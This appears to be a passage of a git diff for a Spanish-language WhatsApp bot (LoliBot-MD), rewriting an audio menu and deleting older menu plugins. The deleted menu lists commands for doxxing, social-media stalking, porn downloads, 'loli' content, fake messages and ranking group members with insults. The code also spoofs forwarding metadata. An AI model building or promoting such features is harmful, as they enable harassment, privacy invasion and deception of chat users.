-° ඬ⃟🔊 _Calla Fan de BTS_
-° ඬ⃟🔊 _Que tal grupo_
-° ඬ⃟🔊 _Muchachos_
-° ඬ⃟🔊 _Está Zzzz | 😴_
-° ඬ⃟🔊 _Goku Pervertido_
-° ඬ⃟🔊 _Potaxio | 🥑_
-° ඬ⃟🔊 _Nico nico_
-° ඬ⃟🔊 _El rap de Fernanfloo_
-° ඬ⃟🔊 _Tal vez_
-° ඬ⃟🔊 _Corte corte_
-° ඬ⃟🔊 _Buenas noches_
-° ඬ⃟🔊 _Porque ta tite_
-° ඬ⃟🔊 _Eres Fuerte_
-° ඬ⃟🔊 _Bueno Master | 🫂_
-° ඬ⃟🔊 _No Rompas más | 💔_
-° ඬ⃟🔊 _Traiganle una falda_
-° ඬ⃟🔊 _Se están riendo de mí_
-° ඬ⃟🔊 _Su nivel de pendejo_
-° ඬ⃟🔊 _Bienvenido/a | 🥳 | 🤗 | 👋_
-° ඬ⃟🔊 _Elmo sabe donde vives_
-° ඬ⃟🔊 _tunometecabrasaramambiche_
-° ඬ⃟🔊 _Y este quien es_
-° ඬ⃟🔊 _Motivación_
-° ඬ⃟🔊 _En caso de una investigación_
-° ඬ⃟🔊 _Buen día grupo | 🙌_
-° ඬ⃟🔊 _mi bebito fiu fiu_
-° ඬ⃟🔊 _sabosito_
-° ඬ⃟🔊 _Freefire_
-° ඬ⃟🔊 _Aguanta_
-° ඬ⃟🔊 _Es viernes_
-° ඬ⃟🔊 _Que quede vos_
-° ඬ⃟🔊 _Feriado_
-° ඬ⃟🔊 _Me emociono | borracho_
-° ඬ⃟🔊 _Delivery_
-° ඬ⃟🔊 _Tarado | putos_
-° ඬ⃟🔊 _Bardo_
-° ඬ⃟🔊 _Saliste del grupo_
-° ඬ⃟🔊 _No agregué_
-° ඬ⃟🔊 _Quiere tener internet gratis_
-° ඬ⃟🔊 _Donde esta?_
-° ඬ⃟🔊 _Q onda | 🤪_
-° ඬ⃟🔊 _La tóxica_
-° ඬ⃟🔊 _Bebesita_
-° ඬ⃟🔊 _Tka_
-° ඬ⃟🔊 _No la pienso_
-° ඬ⃟🔊 _Taka Taka_
-° ඬ⃟🔊 _Bot canta_
-° ඬ⃟🔊 _Loli conmigo | Loli venir_
-° ඬ⃟🔊 _Grap | trap_
-° ඬ⃟🔊 _Bruno_
-° ඬ⃟🔊 _Soy guapo_
-° ඬ⃟🔊 _Dragon ball_
-° ඬ⃟🔊 _Las reglas del grupo_
-° ඬ⃟🔊 Pequeña canciones
-° ඬ⃟🔊 Quevedo
-° ඬ⃟🔊 Quédate
-° ඬ⃟🔊 Fernet
-° ඬ⃟🔊 Emilia
-° ඬ⃟🔊 cuantros veintes
-° ඬ⃟🔊 Turrito
-° ඬ⃟🔊 Allá
-° ඬ⃟🔊 cumbia 420
-° ඬ⃟🔊 lgante
-° ඬ⃟🔊 esaa |😎
-° ඬ⃟🔊 bar
-° ඬ⃟🔊 Le mando fui
-𝑺𝒆 𝒗𝒂𝒏 𝒂𝒈𝒓𝒆𝒈𝒂𝒅𝒐 𝒎𝒂𝒔 𝒂𝒖𝒅𝒊𝒐 𝒅𝒆 𝒑𝒐𝒄𝒐,
-𝑺𝒊 𝒒𝒖𝒊𝒆𝒓𝒆 𝒂𝒈𝒓𝒆𝒈𝒂𝒓 𝒂𝒍𝒈𝒖𝒏 𝒂𝒖𝒅𝒊𝒐 𝒏𝒖𝒆𝒗𝒐,
-𝒐 𝒄𝒐𝒔𝒂 𝒏𝒖𝒆𝒗𝒂 𝒉𝒂𝒃𝒍𝒂 𝒄𝒐𝒏 𝒂𝒅𝒎𝒊𝒏 𝒐𝒇𝒄 𝒅𝒆𝒍 𝒃𝒐𝒕
-
-*🅣🅗🅔-🅛🅞🅛🅘🅑🅞🅣-🅜🅓*`.trim()
-conn.sendFile(m.chat, pp, 'lp.jpg', str, m, false, { contextInfo: { mentionedJid }})
-
-} catch (e) {
-//await conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)
-}}
-
-handler.help = ['infomenu'].map(v => v + 'able ')
-handler.tags = ['group', 'owner']
-handler.command = /^(menu2|audios|menú2|memu2|menuaudio|menuaudios|memuaudios|memuaudio|audios|audio)$/i
-handler.exp = 60
-//handler.register = true
-export default handler
-
-const more = String.fromCharCode(8206)
-const readMore = more.repeat(4001)
-function clockString(ms) {
-let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
-let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
-let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
-return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')}
+
+let handler = async (m, { conn }) => {
+const nombreBot = conn.user?.name || 'Bot';
+const isPrincipal = conn === global.conn;
+const tipo = isPrincipal ? 'Bot Oficial' : 'Sub Bot';
+const taguser = '@' + m.sender.split('@')[0];
+const chatId = m.chat?.trim();
+const globalAudios = Object.keys(audios.global || {}).sort();
+const localAudios = Object.keys(audios[chatId] || {}).sort();
+const listaGlobal = globalAudios.map(v => `* 🔊 _${v}_`).join('\n');
+const listaLocal = localAudios.map(v => `* 🔊 _${v}_`).join('\n');
+
+let str = `\`Hola ${taguser} 💖彡\`
+
+\` \`
+> Escribe las palabras/frases tal como estan, no hace falta poner ningun prefijo (#, ., *, etc)
+
+${listaGlobal} ${listaLocal.length > 0 ? `\n\n---\n\n\` \`\n\n${listaLocal}` : ''}
+
+*🅛🅞🅛🅘🅑🅞🅣-🅜🅓*`.trim();
+
+const pp = fs.readFileSync('./media/Menu2.jpg');
+await conn.sendMessage(m.chat, { text: str,
+contextInfo: {
+forwardedNewsletterMessageInfo: {
+newsletterJid: "120363305025805187@newsletter",
+newsletterName: "LoliBot ✨️"
+},
+forwardingScore: 999,
+isForwarded: true,
+mentionedJid: await conn.parseMention(str),
+externalAdReply: {
+mediaUrl: [info.nna, info.nna2, info.md].getRandom(),
+mediaType: 2,
+showAdAttribution: false,
+renderLargerThumbnail: false,
+title: "✨️ MENU ✨️",
+body: `${nombreBot} (${tipo})`,
+thumbnailUrl: info.img2,
+sourceUrl: "https://skyultraplus.com"
+}}}, { quoted: m });
+};
+handler.help = ['menu2'];
+handler.tags = ['main'];
+handler.command = /^(menu2|audios|menú2|memu2|menuaudio|menuaudios|memuaudios|memuaudio|audios|audio)$/i;
+handler.register = true;
+export default handler;
diff --git a/plugins/menu-lista.js b/plugins/menu-lista.js
deleted file mode 100644
index b2a0a9665..000000000
--- a/plugins/menu-lista.js
+++ /dev/null
@@ -1,139 +0,0 @@
-/*import fs from 'fs'
-import fetch from 'node-fetch'
-import { xpRange } from '../lib/levelling.js'
-const { levelling } = '../lib/levelling.js'
-import moment from 'moment-timezone'
-
-let handler = async (m, { conn, usedPrefix, command, args, isOwner, isAdmin, isROwner }) => {
-try{
-let locale = 'es'
-let d = new Date(new Date + 3600000)
-let time = d.toLocaleTimeString(locale, {
- hour: 'numeric',
- minute: 'numeric',
- second: 'numeric'
- })
-
-let _uptime = process.uptime() * 1000
-let uptime = clockString(_uptime)
-wm = global.wm
-vs = global.vs
-
-let user = global.db.data.users[m.sender]
-let { exp, diamond, registered, limit, level, role } = global.db.data.users[m.sender]
-let { min, xp, max } = xpRange(level, global.multiplier)
-let name = await conn.getName(m.sender)
-let pareja = global.db.data.users[m.sender].pasangan
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-
-const sections = [{
-title: comienzo + ' ' + lenguajeGB['smsLista1']() + ' ' + fin,
-rows: [
-{title: lenguajeGB['smsLista2'](), rowId: `${usedPrefix}creadora`},
-{title: lenguajeGB['smsLista4'](), rowId: `${usedPrefix}ping`},
-{title: lenguajeGB['smsLista5'](), rowId: `${usedPrefix}infomenu`},
-{title: lenguajeGB['smsLista6'](), rowId: `${usedPrefix}allmenu`},
-{title: lenguajeGB['smsLista7'](), rowId: `${usedPrefix}instalarbot`},
-{title: lenguajeGB['smsLista8'](), rowId: `${usedPrefix}serbot`},
-{title: lenguajeGB['smsLista9'](), rowId: `${usedPrefix}términos`, description: '\n'}
-]},{
-title: comienzo + ' ' + lenguajeGB['smsLista10']() + ' ' + fin,
-rows: [
-{title: lenguajeGB['smsLista11'](), rowId: `${usedPrefix}lb`},
-{title: lenguajeGB['smsLista12'](), rowId: `${usedPrefix}listavip`},
-{title: lenguajeGB['smsLista13'](), rowId: `${usedPrefix}pase premium`},
-{title: lenguajeGB['smsLista15'](), rowId: `${usedPrefix}rpgmenu`},
-{title: lenguajeGB['smsLista16'](), rowId: `${usedPrefix}buy`},
-]},{
-title: comienzo + ' ' + lenguajeGB['smsLista18']() + ' ' + fin,
-rows: [
-{title: lenguajeGB['smsLista19'](), rowId: `${usedPrefix}descargasmenu`},
-{title: lenguajeGB['smsLista20'](), rowId: `${usedPrefix}buscarmenu`},
-{title: lenguajeGB['smsLista21'](), rowId: `${usedPrefix}convertidormenu`},
-{title: lenguajeGB['smsLista22'](), rowId: `${usedPrefix}audioefectomenu`, description: '\n'}
-]},{
-title: comienzo + ' ' + lenguajeGB['smsLista23']() + ' ' + fin,
-rows: [
-{title: lenguajeGB['smsLista24'](), rowId: `${usedPrefix}juegosmenu`},
-{title: lenguajeGB['smsLista25'](), rowId: `${usedPrefix}audios`},
-{title: lenguajeGB['smsLista26'](), rowId: `${usedPrefix}stickermenu`},
-{title: lenguajeGB['smsLista27'](), rowId: `${usedPrefix}makermenu`},
-{title: lenguajeGB['smsLista29'](), rowId: `${usedPrefix}randommenu`},
-{title: lenguajeGB['smsLista30'](), rowId: `${usedPrefix}hornymenu`, description: '\n'}
-]},{
-title: comienzo + ' ' + lenguajeGB['smsLista31']() + ' ' + fin,
-rows: [
-{title: lenguajeGB['smsLista32'](), rowId: `${usedPrefix}grupomenu`},
-{title: lenguajeGB['smsLista33'](), rowId: `${usedPrefix}listas`},
-{title: lenguajeGB['smsLista34'](), rowId: `${usedPrefix}enable`},
-{title: lenguajeGB['smsLista35'](), rowId: `${usedPrefix}ownermenu`}
-]}]
-
-
-const listMessage = {
-text: `┌──────────────
-┆ *𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆✨ *𝙃𝙤𝙡𝙖 𝙘𝙤𝙢𝙤 𝙚𝙨𝙩𝙖́ ${name}!!*
-┆ ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆➤ *𝘾𝙧𝙚𝙖𝙙𝙤𝙧 𝙙𝙚𝙡 𝙗𝙤𝙩: 𝙀𝙡 𝙧𝙚𝙗𝙚𝙡𝙙𝙚*
-┆➤ *𝙉𝙪𝙢𝙚𝙧𝙤 𝙙𝙚𝙡 𝙘𝙧𝙚𝙖𝙙𝙤𝙧:* *wa.me/5492266466080 (No Bot)* ${(conn.user.jid == global.conn.user.jid ? '' : `\n┆➤ *𝙎𝙤𝙮 𝙪𝙣 𝙨𝙪𝙗 𝙗𝙤𝙩 𝙙𝙚𝙡:* *wa.me/${global.conn.user.jid.split`@`[0]}*`) || '\n┆➤ *𝙉𝙪𝙢𝙚𝙧𝙤 𝙙𝙚𝙡 𝙗𝙤𝙩 𝙤𝙛𝙞𝙘𝙞𝙖𝙡:* *wa.me/573183650526*'}
-┆ ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆➤ *${lenguajeGB['smsTime']()}*
-┆□ ${time}
-┆ ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆➤ *${lenguajeGB['smsUptime']()}*
-┆□ ${uptime}
-┆ ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆➤ *${lenguajeGB['smsVersion']()}*
-┆□ ${vs}
-┆ ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆➤ *${lenguajeGB['smsTotalUsers']()}*
-┆□ ${Object.keys(global.db.data.users).length}
-┆ ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆➤ *${lenguajeGB['smsMode']()}*
-┆□ ${global.opts['self'] ? `*${lenguajeGB['smsModePrivate']()}*` : `*${lenguajeGB['smsModePublic']()}*`}
-└────ׂ─ׂ─ׂ─ׂ─────`, footer: `*» ${lenguajeGB['smsPareja']()} ➺ ${pareja ? `${name} 💞 ${conn.getName(pareja)}` : `😛 ${lenguajeGB['smsResultPareja']()}`}*
-» ${redesMenu.getRandom()}`, //${name} ${ucapan()} //lenguajeGB['smsMenu']()
-title: null,
-buttonText: `${lenguajeGB['smsListaMenu']()}`,
-sections }
-await conn.sendMessage(m.chat, listMessage, {quoted: fkontak})
-
-} catch (e) {
-await conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)
-}}
-handler.help = ['en', 'dis'].map(v => v + 'able ')
-handler.tags = ['group', 'owner']
-handler.command = /^(menu|menú|memu|memú|help|info|comandos|2help|menu1.2|ayuda|commands|commandos|m|\?)$/i
-//handler.register = true
-handler.exp = 50
-export default handler
-
-function clockString(ms) {
- let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
- let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
- let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
- return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')
-}
-
-function ucapan() {
- const time = moment.tz('America/Los_Angeles').format('HH') //America/Los_Angeles Asia/Jakarta America/Toronto
- let res = `${lenguajeGB['smsSaludo']()}`
- if (time >= 4) {
- res = `${lenguajeGB['smsDia']()}`
- }
- if (time >= 11) {
- res = `${lenguajeGB['smsTarde']()}`
- }
- if (time >= 15) {
- res = `${lenguajeGB['smsTarde2']()}`
- }
- if (time >= 17) {
- res = `${lenguajeGB['smsNoche']()}`
- }
- return res
-}
-*/
diff --git a/plugins/menu-menu.js b/plugins/menu-menu.js
deleted file mode 100644
index 2ac7fe8cd..000000000
--- a/plugins/menu-menu.js
+++ /dev/null
@@ -1,601 +0,0 @@
-import fs from 'fs'
-import fetch from 'node-fetch'
-import { xpRange } from '../lib/levelling.js'
-const { levelling } = '../lib/levelling.js'
-import PhoneNumber from 'awesome-phonenumber'
-import { promises } from 'fs'
-import { join } from 'path'
-let handler = async (m, { conn, usedPrefix, usedPrefix: _p, __dirname, text, command }) => {
-try {
-let vn = './media/menu.mp3'
-let _package = JSON.parse(await promises.readFile(join(__dirname, '../package.json')).catch(_ => ({}))) || {}
-let { exp, limit, level, role } = global.db.data.users[m.sender]
-let { min, xp, max } = xpRange(level, global.multiplier)
-let name = await conn.getName(m.sender)
-let d = new Date(new Date + 3600000)
-let locale = 'es'
-let weton = ['Pahing', 'Pon', 'Wage', 'Kliwon', 'Legi'][Math.floor(d / 84600000) % 5]
-let week = d.toLocaleDateString(locale, { weekday: 'long' })
-let date = d.toLocaleDateString(locale, {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-})
-let dateIslamic = Intl.DateTimeFormat(locale + '-TN-u-ca-islamic', {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-}).format(d)
-let time = d.toLocaleTimeString(locale, {
-hour: 'numeric',
-minute: 'numeric',
-second: 'numeric'
-})
-let _uptime = process.uptime() * 1000
-let _muptime
-if (process.send) {
-process.send('uptime')
-_muptime = await new Promise(resolve => {
-process.once('message', resolve)
-setTimeout(resolve, 1000)
-}) * 1000
-}
-let { money, joincount } = global.db.data.users[m.sender]
-let user = global.db.data.users[m.sender]
-let muptime = clockString(_muptime)
-let uptime = clockString(_uptime)
-let totalreg = Object.keys(global.db.data.users).length
-let rtotalreg = Object.values(global.db.data.users).filter(user => user.registered == true).length
-let replace = {
-'%': '%',
-p: _p, uptime, muptime,
-me: conn.getName(conn.user.jid),
-npmname: _package.name,
-npmdesc: _package.description,
-version: _package.version,
-exp: exp - min,
-maxexp: xp,
-totalexp: exp,
-xp4levelup: max - exp,
-github: _package.homepage ? _package.homepage.url || _package.homepage : '[unknown github url]',
-level, limit, name, weton, week, date, dateIslamic, time, totalreg, rtotalreg, role,
-readmore: readMore
-}
-text = text.replace(new RegExp(`%(${Object.keys(replace).sort((a, b) => b.length - a.length).join`|`})`, 'g'), (_, name) => '' + replace[name])
-//let user = global.db.data.users[m.sender]
-//user.registered = false
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-let mentionedJid = [who]
-let username = conn.getName(who)
-let taguser = '@' + m.sender.split("@s.whatsapp.net")[0]
-//let enlace = { contextInfo: { externalAdReply: {title: wm, body: 'support group' , sourceUrl: nna, thumbnail: await(await fetch(img)).buffer() }}}
- let pp = './Menu2.jpg'
-//let pp = gataVidMenu.getRandom()
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let fsizedoc = '1'.repeat(10)
-let adReply = { fileLength: fsizedoc, seconds: fsizedoc, contextInfo: { forwardingScore: fsizedoc, externalAdReply: { showAdAttribution: true, title: wm, body: '👋 ' + username, mediaUrl: ig, description: 'Hola', previewType: 'PHOTO', thumbnail: await(await fetch(global.img)).buffer(), sourceUrl: redesMenu.getRandom() }}}
-
-
-let menu = `⌜ *${wm}* ⌟
-
-*Hola ${taguser}*
-
-□ *Creador: Mario*
-□ *Numero del creador: wa.me/5492266466080*
-□ *Numero del bot ofc: wa.me/14086414984*
-□ *Tiempos activos :* *${uptime}*
-□ *Usuarios:* *${Object.keys(global.db.data.users).length}*
-□ *Registrado: ${rtotalreg} de ${totalreg}* ${(conn.user.jid == global.conn.user.jid ? '' : `\n□ *Soy un sub bot del:* wa.me/${global.conn.user.jid.split`@`[0]}`) || ''}
-
-□ *COMO INSTALAR EL BOT*
-https://youtu.be/O_j2q5xCg3A
-
-◉ _*INFO DEL USUARIO*_
-□ *🙌 Registrado:* ${user.registered === true ? '✅' : '❌ _#verificar_'}
-□ *🎟️ Premium:* ${user.premiumTime > 0 ? '✅' : '❌ _#pase premium_'}
-□ *🔰 Mi estado:* ${typeof user.miestado !== 'string' ? '_#miestado || Estado no asignado_' : '_Me siento ' + user.miestado + '_'}
-□ *🎖️ Nivel:* ${level}
-□ *💎 Diamantes:* ${limit}
-□ *👾 LoliCoins:* ${money}
-□ *🪙 Tokens:* ${joincount}
-□ *🧰 Experiencia:* ${exp}
-□ *⚓ Rango:* ${role}
-${readMore}
-┌───⊷ *INFO DEL BOT*
-┊□ _${usedPrefix}infobot_
-┊□ _${usedPrefix}grupos_
-┊□ _${usedPrefix}instalarbot_
-┊□️ _${usedPrefix}menu2_
-┊□ _${usedPrefix}estado_
-┊□ _${usedPrefix}sc_
-┊□ _${usedPrefix}ping_
-┊□ _Bot_
-┊□ _¿Qué es un Bot?_
-┊□ _Términos y condiciones_
-└─────────────
-
-┌───⊷ *UNER UN BOT A TU GRUPO*
-┆ 🤖 _${usedPrefix}join *link del grupo*_
-┆ 🤖 _${usedPrefix}botemporal *link de grupo*_
-└─────────────
-
-┌───⊷ *SERBOT & JADIBOT*
-┆ 🤖 _${usedPrefix}serbot_
-┆ 🤖 _${usedPrefix}stop_
-┆ 🤖 _${usedPrefix}bots_
-└─────────────
-
-┌───⊷ *JUEGOS*
-┆ *conando para la diversión del tu Grupos*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🕹 _${usedPrefix}mates **_
-┆🕹️ _${usedPrefix}ppt **_
-┆🕹 _${usedPrefix}prostituto **_
-┆🕹️ _${usedPrefix}prostituta **_
-┆🕹️ _${usedPrefix}gay2 **_
-┆🕹️ _${usedPrefix}lesbiana **_
-┆🕹 _${usedPrefix}pajero **_
-┆🕹 _${usedPrefix}pajera **_
-┆🕹️ _${usedPrefix}puto **_
-┆🕹️ _${usedPrefix}puta **_
-┆🕹️ _${usedPrefix}manco **_
-┆🕹️ _${usedPrefix}manca **_
-┆🕹️ _${usedPrefix}rata **_
-┆🕹️ _${usedPrefix}love **_
-┆🕹️ _${usedPrefix}doxear **_
-┆🕹 _${usedPrefix}pregunta **_
-┆🕹️ _${usedPrefix}suitpvp *<@tag>*_
-┆🕹️ _${usedPrefix}slot **_
-┆🕹️ _${usedPrefix}ttt **_
-┆🕹️ _${usedPrefix}delttt_
-┆🕹️ _${usedPrefix}simi **_
-┆🕹️ _${usedPrefix}top **_
-┆🕹️ _${usedPrefix}topotakus_
-┆🕹️️ _${usedPrefix}top10gays_
-┆🕹️️ _${usedPrefix}toplind@s_
-┆🕹️️ _${usedPrefix}topput@s_
-┆🕹️️ _${usedPrefix}toppajer@s_
-┆🕹️️ _${usedPrefix}topotakus_
-┆🕹️️ _${usedPrefix}topintegrantes_
-┆🕹️️ _${usedPrefix}toplagrasa_
-┆🕹️️ _${usedPrefix}toppanafrescos_
-┆🕹️ _${usedPrefix}topshiposters_
-┆🕹️️ _${usedPrefix}toppajeros_
-┆🕹️️ _${usedPrefix}toplind@s_
-┆🕹️️ _${usedPrefix}topfamosos_
-┆🕹️️ _${usedPrefix}topsoltero
-┆🕹️️ _${usedPrefix}topparejas_
-┆🕹️ _${usedPrefix}formarpareja_
-┆🕹️ _${usedPrefix}verdad_
-┆🕹️ _${usedPrefix}reto_
-┆🕹️ _${usedPrefix}cancion_
-┆🕹️ _${usedPrefix}pista_
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆ 💞 𝙋𝙖𝙧𝙚𝙟𝙖𝙨
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆ *Declarate con alguien*
-┆ *para que sean Parejas!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆❤️➺ _${usedPrefix}listaparejas_
-┆❤️➺ _${usedPrefix}mipareja_
-┆❤️➺ _${usedPrefix}pareja *@tag*_
-┆❤️➺ _${usedPrefix}aceptar *@tag*_
-┆❤️➺ _${usedPrefix}rechazar *@tag*_
-┆❤️➺ _${usedPrefix}terminar *@tag*_
-└─────────────
-
-┌───⊷ *NUMERO DEL CREADOR*
-┆🤖 _${usedPrefix}owner_
-└─────────────
-
-┌───⊷ *ACTIVA O DESACTIVAR*
-┆ *Configura si eres Propietario(a) y/o*
-┆ *Admin!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆☑️ _${usedPrefix}enable_
-└─────────────
-
-┌───⊷ *REPORTA COMANDO CON ERRORES*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆ *Reporta cualquier comando que falle para poder solucionarlo*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🚫 _${usedPrefix}reporte **_
-└─────────────
-
-┌───⊷ *SER PREMIUM*
-┆ *Convierte en un(a)*
-┆ *Usuario(a) Premium!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🎟️ _${usedPrefix}listapremium_
-┆🎟️ _${usedPrefix}pase premium_
-┆🎟️ _${usedPrefix}pass premium_
-└─────────────
-
-┌───⊷ *DESCARGAS*
-┆📥 _${usedPrefix}play **_
-┆📥 _${usedPrefix}play.1 **_
-┆📥 _${usedPrefix}play.2 **_
-┆📥 _${usedPrefix}playdoc **_
-┆📥 _${usedPrefix}playlist **_
-┆📥 _${usedPrefix}playlist2 **_
-┆📥 _${usedPrefix}spotify **_
-┆📥 _${usedPrefix}tiktok **_
-┆📥 _${usedPrefix}instagram **_
-┆📥 _${usedPrefix}mediafire **_
-┆📥 _${usedPrefix}instagram **_
-┆📥 _${usedPrefix}gitclone **_
-┆📥 _${usedPrefix}gdrive **_
-┆📥 _${usedPrefix}xnxxdl **_
-┆📥 _${usedPrefix}xvideosdl **_
-┆📥 _${usedPrefix}twitter **_
-┆📥 _${usedPrefix}fb **_
-┆📥 _${usedPrefix}fb2 **_
-┆📥 _${usedPrefix}fb3 **_
-┆📥 _${usedPrefix}fb4 **_
-┆📥 _${usedPrefix}fb5 **_
-┆📥 _${usedPrefix}ytmp3 **_
-┆📥 _${usedPrefix}ytmp4 **_
-┆📥 _${usedPrefix}ytmp3doc **_
-┆📥 _${usedPrefix}ytmp4doc **_
-┆📥 _${usedPrefix}stickerpack **_
-┆📥 _${usedPrefix}stickerly **_
-┆📥 _${usedPrefix}ringtone **_
-┆📥 _${usedPrefix}soundcloud **_
-┆📥 _${usedPrefix}imagen **_
-┆📥 _${usedPrefix}pinteret **_
-┆📥 _${usedPrefix}wallpaper **_
-┆📥 _${usedPrefix}wallpaper2 **_
-┆📥 _${usedPrefix}pptiktok **_
-┆📥 _${usedPrefix}igstalk **_
-┆📥 _${usedPrefix}igstory **_
-┆📥 _${usedPrefix}tiktokstalk **_
-└─────────────
-
-┌───⊷ *GRUPOS*
-┆ *Mejora tú Grupo con LoliBot*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆💎 _${usedPrefix}add **_
-┆💎 _${usedPrefix}kick *<@tag>*_
-┆💎 _${usedPrefix}grupo **_
-┆💎 _${usedPrefix}grouptime * *_
-┆💎 _${usedPrefix}promote *<@tag>*_
-┆💎 _${usedPrefix}demote *<@tag>*_
-┆💎 _admins **_ (𝑢𝑠𝑜 𝑠𝑖𝑛 𝑝𝑟𝑒𝑓𝑖𝑗𝑜)
-┆💎 _${usedPrefix}demote *<@tag>*_
-┆💎 _${usedPrefix}infogroup_
-┆💎 _${usedPrefix}resetlink_
-┆💎 _${usedPrefix}link_
-┆💎 _${usedPrefix}setname **_
-┆💎 _${usedPrefix}setdesc **_
-┆💎 _${usedPrefix}invocar **_
-┆💎 _${usedPrefix}setwelcome **_
-┆💎 _${usedPrefix}setbye **_
-┆💎 _${usedPrefix}hidetag **_
-┆💎 _${usedPrefix}warn *<@tag>*_
-┆💎 _${usedPrefix}unwarn *<@tag>*_
-┆💎 _${usedPrefix}listwarn_
-┆💎 _${usedPrefix}fantasmas_
-┆💎 _${usedPrefix}destraba_
-┆💎 _${usedPrefix}setpp **_
-└─────────────
-
-┌───⊷ *CONVERTIDORES*
-┆ *Convierte sticker en imagen!!*
-┆ *Crea enlace de archivos!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🧧 _${usedPrefix}togifaud **_
-┆🧧 _${usedPrefix}robar *texto*
-┆🧧 _${usedPrefix}wm *texto*
-┆🧧 _${usedPrefix}toimg **_
-┆🧧 _${usedPrefix}tomp3 **_
-┆🧧 _${usedPrefix}tomp3 **_
-┆🧧 _${usedPrefix}toptt **_
-┆🧧 _${usedPrefix}tovideo **_
-┆🧧 _${usedPrefix}tourl **_
-┆🧧 _${usedPrefix}tts es **_
-└─────────────
-
-┌───⊷ *EFECTOS Y LOGOS*
-┆ *Crea Logos o personaliza*
-┆ *la información del Logo!!*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🖍️ _${usedPrefix}mensajefalso **_
-┆🖍️ _${usedPrefix}phmaker * *_
-┆🖍️ _${usedPrefix}logos * *_
-┆🖍️ _${usedPrefix}logochristmas **_
-┆🖍️ _${usedPrefix}logocorazon **_
-┆🖍️ _${usedPrefix}ytcomment **_
-┆🖍️ _${usedPrefix}hornycard *<@tag>*_
-┆🖍️ _${usedPrefix}simpcard *<@tag>*_
-┆🖍️ _${usedPrefix}lolice *<@tag>*_
-┆🖍️ _${usedPrefix}itssostupid_
-┆🖍️ _${usedPrefix}pixelar_
-┆🖍️ _${usedPrefix}blur_
-└─────────────
-
-┌───⊷ *FRASES Y TEXTOS*
-┆ *Enamora a tu enamorada/o*
-┆ *con esta frases/piropo uwu*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆ 🥀 _${usedPrefix}piropo_
-┆🥀 _${usedPrefix}consejo_
-┆🥀 _${usedPrefix}fraseromantica_
-└─────────────
-
-┌───⊷ *RANDOM*
-┆👾 _${usedPrefix}kpop **_
-┆👾 _${usedPrefix}cristianoronaldo_
-┆👾 _${usedPrefix}messi_
-┆👾 _${usedPrefix}meme_
-┆👾 _${usedPrefix}itzy_
-┆👾 _${usedPrefix}blackpink_
-┆👾 _${usedPrefix}lolivid_
-┆👾 _${usedPrefix}loli_
-┆👾 _${usedPrefix}navidad_
-┆👾 _${usedPrefix}ppcouple_
-┆👾 _${usedPrefix}wpmontaña_
-┆👾 _${usedPrefix}pubg_
-┆👾 _${usedPrefix}wpgaming_
-┆👾 _${usedPrefix}wpaesthetic_
-┆👾 _${usedPrefix}wpaesthetic2_
-┆👾 _${usedPrefix}wprandom_
-┆👾 _${usedPrefix}wallhp_
-┆👾 _${usedPrefix}wpvehiculo_
